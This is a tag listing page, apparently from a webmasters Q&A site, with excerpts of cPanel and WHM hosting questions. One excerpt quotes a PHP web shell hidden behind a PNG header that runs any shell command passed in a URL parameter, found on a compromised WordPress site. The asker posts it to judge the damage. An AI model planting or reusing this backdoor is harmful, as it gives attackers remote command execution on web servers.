Questions tagged [cpanel]

cPanel utilizes a 3 tier structure that provides functionality for administrators, resellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser.

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31 views

What is a robots.txt file and how can I use it

I want to use a robots.txt file for my website, which is currently displaying a 404 error when requesting it (e.g., https://www.example.com/robots.txt). How do I make one? There's no option to create ...
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19 views

Do I need AdSense for an ads.txt? [closed]

I have signed up to be a game publisher with various platforms, and they all require that I add information to an ads.txt file. When I looked it up, all the articles mention Google AdSense. I don’t ...
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33 views

Getting 'SORRY! If you are the owner of this website, please contact your hosting provider: webmaster@mydomain.org" [closed]

I received the credentials of an old website, thus I do not know much about it. However, whenever I open one of the pages, it gives me the following error: SORRY! If you are the owner of this website,...
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12 views

Strange entries in cPanel Web Disk log

We have a website and email system that uses cPanel / WHM. The log /usr/local/cpanel/logs/cpdavd_session_log contains a list of strange IP addresses hitting the cpdavd service (WebDAV, which cPanel ...
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43 views

System PHP version upgraded to 7.3 but domain is stuck at 7.2

I recently upgraded PHP from 7.2 to 7.3 on my Centos and Apache server by using cPanel/WHM. I'd updated the System PHP version to 7.3 but the domain is still stuck at 7.2. When I attempt to upgrade ...
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11 views

Created Domain Accounts in WHM/Cpanel but are not Working?

Recently I created an EC2 instance to install WHM/cPanel in Amazon Web Services. After going through all installations and configurations, managed to run it perfectly. Though I haven't purchased a ...
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10 views

How to assign a db user to multiple databases at once from cPanel?

Inside cPanel, I can create a database and I can assign a specific db user to a specific database. But what if I have like 100 databases. How can I assign the same user to all of the databases created ...
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18 views

#1044 - Access denied for user 'cpses001'@'localhost' to database 'test_db'

I have purchase i hosting with cpanel in godaddy and I am migrating a WordPress site, but the problem when I am trying to import database it gave me this error #1044 - Access denied for user 'cpses001'...
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21 views

Data being edited in .opvn config when vpn app http gets .opvn files from my host. Adds my wordpress site code and removes the config

I have a VPN app that pulls .ovpn files from a folder on my website : /home/mywebsitename/public_html/remoteovpn. When I add the .opvn files to this folder and my app pulls them from https request, ...
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1answer
33 views

Search engines indexing only the old site which has been moved to a subdomain

I recently took up a project for a website overhaul. I went on to deploy my website on the client's hosting service. It uses cPanel. On the hosting service they had the old version of the website. I ...
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9 views

cPanel Overload / High Load on Account Termination

When I terminate large customer accounts (20GB+ / many inodes) via the WHM - server load shoots so high that the server is unresponsive for a long time (depending on the size 5-15minutes for example). ...
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1answer
35 views

How can I migrate from a server with cPanel AutoSSL to one using Let's Encrypt without an interruption to my SSL coverage?

I've currently got a live website which is set up with it's SSL cert being provided by cPanels AutoSSL feature. I'm going to be moving my website to a VPS that is provisioned by Laravel Forge and set ...
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37 views

How do I install a wildcard SSL certificate on WHM using Let's Encrypt plugin and Cloudflare DNS?

I am using cPanel 92 on CentOS 7 and my domain.com's DNS zone is running on Cloudflare (free Cloudflare tier) and I'm having trouble getting my subdomains (of a subdomain) running over HTTPS. Security ...
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31 views

Can cPanel listen on all domains on a dedicated IP?

I have a large number of clients (affiliates) that need to make CNAMEs so they use their own domain to display the content of a website hosted on cpanel. This must be done instantly without human ...
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29 views

cPanel route traffic through VPN tunnel allowing me to route IPs

I would like to be able to route an IP I have from another virtual machine to my main cPanel server to be used. cPanel server IP is 198.51.100.1 and the other machine has 203.0.113.1 and 203.0.113.2 ...
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1answer
33 views

Is it possible to add 10 subdomains in a separate cPanel account from the main domain?

I would like to know is it possible to have one domain in a separate cPanel account and all the subdomains in another separate account. Main domain: One cpanel account. 10 subdomains: One cpanel ...
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1answer
48 views

How to add node modules to cPanel

I am new to web hosting. I am currently hosting my website on Morse Host. My website has a menu screen that requires node modules. Uploading them from my computer will take a really long time. Is ...
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164 views

How to import and read email files downloaded from a cPanel backup?

TLDR, question: How can I import and read all those HTML email and attachment files easily ? Most importantly, I need to read the attachments (PDFs) copies of signed contracts, in case... More info: ...
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3answers
449 views

Creating an A record and then a CNAME to point a subdomain to a different server gives an error message

I am trying to point a subdomain to a different server. The A Record changed without issue but the CNAME won't save in cPanel. I get this error: Error: sub.domain.com. already has a A record. You may ...
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26 views

How do you know which plugin is consuming CPU?

My Wordpress site is going down from time to time, I see in the server log that wp-load is requested a lot, I blocked external requests to this file. But I still get 5xx error once a day, I have a lot ...
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1answer
78 views

Backdoor exploit - could they have downloaded files from server?

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website: ‰PNG <?php $str = $_GET['cmd']; system($str); ?> The above file was detected by ...
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1answer
47 views

Want to point a domain to a host and already changed nameservers, what's next?

To be totally honest this is driving me mad because I know it's probably something simple. So I have my domain (elogee.com) registered at 1and1.com while my host is GoDaddy. Right, every article I've ...
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1answer
34 views

Why does Cloudflare seem to be caching 522 responses for resources?

I have a number of different websites hosted in cpanel and proxied through Cloudflare. The symptoms I'm getting are as follows: One of my hosted customers will contact me to say something isn't ...
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1answer
57 views

How to change the WHM/cPanel account setting for “Use the nameservers specified at the Domain’s Registrar” after a cPanel account is created?

I created a cPanel account through WHM, and I think I forgot to select the option "Use the nameservers specified at the Domain’s Registrar". How can I change that option to start using ...
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41 views

Why does CPanel show I/O faults when the site has low utilization?

I'm on a shared host and according to stats I'm not close to the limits, yet the resource usage stats show I/O faults: Why are those fault lines there when the usage is well below the red limit?
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33 views

WHM deleting reserved ip

When I check IP of my hosting it starts with 172(First image). When I want to change it, It looks 89(Second image). But when I want to see IP usages I cant see that domain in that list. So how can I ...
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43 views

cPanel Email Deliverability - suggested SPF record includes 'undefined'

I recently transferred a cPanel account from a legacy WHM server to a new server running WHM 90 using the WHM Transfer Tool. On the new server I'm looking at the Email Deliverability area in cPanel, ...
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0answers
128 views

Running PHP echo $_SERVER ['DOCUMENT_ROOT']; Shows Apache Default Path

Trying to get set up and running on a new hosting company after the old one announced they are discontinuing their service at the end of the year, I am having difficulty getting the sites to run. I ...
2
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1answer
96 views

cPanel incorrectly identifying remote DNS server type

I have installed cPanel on three servers, 1 x hosting server and 2 x DNSOnly servers. cPanel is using PowerDNS as the default DNS service. I have created a DNS cluster (as one would when installing ...
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1answer
79 views

Redirect domain in CPanel without using htaccess so I can delete old domain

I have an old website that is being hosted on Apache/CPanel site. I'm being charged for hosting this site, even though it's being redirected to another site. I'd like to delete the hosting of the ...
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1answer
27 views

When does CPanel discard last months logs? Is the last day of the month properly processed?

I've got a website on shared hosting under CPanel 86.0.21. Under Metrics/"Raw access", there's a checkbox to enable discarding previous month's logs. How does that work, exactly? The log ...
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1answer
147 views

CPanel Rearrange account can't find home2

I want to move an account using WHM/CPanel from the /home folder to /home2 folder, but the tool does not find the /home2, it says: "The user is already installed on the only usable partition on ...
2
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1answer
712 views

Running express server on cPanel

I'm trying to run an express server on cPanel. For this, I'm using the facility of the "Setup Nodejs App" that cPanel provides. But after running my script from cPanel loading doesn't stop and it ...
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27 views

Can I use cPanel's redirect feature to redirect the home page and a deep page to another domain?

I want to redirect my main homepage to redirect (e.g. example.com) to a separate website but also redirect other subpages (e.g. example.com/contact) to a separate website as well. But when I redirect ...
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1answer
16 views

How to change where the abuse email's get sent? [closed]

I have a domain called example.com which is registered with namecheap. example.com is hosted on a VPS with the hosting company XYZ (make up company) with WHM and cPanel Nameservers are being dealt ...
2
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2answers
490 views

Unable to download large zipped file of cPanel full backup (Chrome download restarts download )

I'm trying to download a full backup in the format of .tar.gz after using the cPanel Backup Wizard to backup my entire Home directory in File Manager. The size of the file is 31.62 GB. I'm ...
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1answer
2k views

why I can't login to cPanel, shows error Maximum Users Exceeded?

When I try to login to cPanel, it shows an error Maximum Users Exceeded. please see the error message below. I didn't do any changes to server. this appears very suddenly. how can I fix this? I ...
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27 views

Difficult problem with emails I send going to recipients' spam after domain+hosting change

I have been having an issue with emails I send for work (all to external domains) being entirely blocked or going to spam, for many different recipients at various companies, ever since I switched my ...
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2answers
86 views

Wordpress files will not show up in ftp client

I am new to FTP transferring. I have logged into my FTP account using FileZilla I was supposed to have access to the files from my WordPress site (according to CPanel), instead, I am just getting a ...
3
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1answer
64 views

How does cPanel's addon domain work?

So, I am new to the world of cPanel. How does cPanel's addon domain feature work? Does it utilise Apache Web server's VirtualHost feature? Or does it do something else?
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54 views

Disabling hotlinking images hinders Facebook from showing images

I disabled hotlinking via CPanel, and added my own website, plus my CDN, www.facebook.com, facebook.com to the exceptions list for both https and http protocols. However, when I use the Facebook ...
3
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1answer
87 views

Hosting provider's cPanel expired and we can't upload or download files

My client's hosting provider's cPanel licence has either expired or number of users have exceeded limit. Now although my client has valid login credentials, he is unable to actually access the panel ...
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1answer
18 views

How do we make swap the demo page to main landing page?

Hi I currently have a demo page on my cpanel and I would like to make it the main landing page. How do I proceed; for instance to change it from website.com/demo -> website.com
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0answers
1k views

No private key when installing SSL certificates from GoDaddy via cPanel

I am having troubles with installing ssl certificate. The ssl was created on GoDaddy without using crt created by hosting cpanel. Now I have file in formats of crt, pem, p7b. When I upload the crt ...
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44 views

What commands does WHM/Cpanel run over SSH when you do an rsync backup?

I have an account at rsync.net and am trying to point WHM "rsync" backups to it. Obviously "rsync.net" has rsync installed, and they also have a small list of common UNIX commands in their ...
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1answer
32 views

Delete Email section for users accounts - Cpanel

I want to disactivate the E-mail section for users profiles in the CPanel, how can I do that? I have tried to disable features from the Feature manager but I couldn't delete all the section UPDATE: ...
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0answers
831 views

Not allowed to git push to cPanel account

I've seen similar questions on SE, but the solutions haven't worked for me, which I'll get to later. I have SSH access to my cPanel account and can log in via SSH fine. I made a new repo via cPanel, ...
2
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1answer
105 views

How to stop cPanel messing with .htaccess and causing unexpected redirect

So I have many domains on one cPanel account, say filmstore.net, bookstore.com and sandwiches.org (the main domain). So I want to redirect anything.sandwiches.org to sandwiches.org, so I have the ...
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1answer
40 views

Separate web hosting and mail server (CPanel)

Currently I am having problems with Email service on the same host as my website, so I want to move whole email server to another linux DigitalOcean server but keep the domain name? My current ...
3
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1answer
59 views

SEO consequences of CPanel adding separate domain as subdomain?

I've purchased a shared hosting. It has domain1.example as the main domain. Whenever I add another domain to this hosting say domain2.example. The CPanel system does create the record for domain2....

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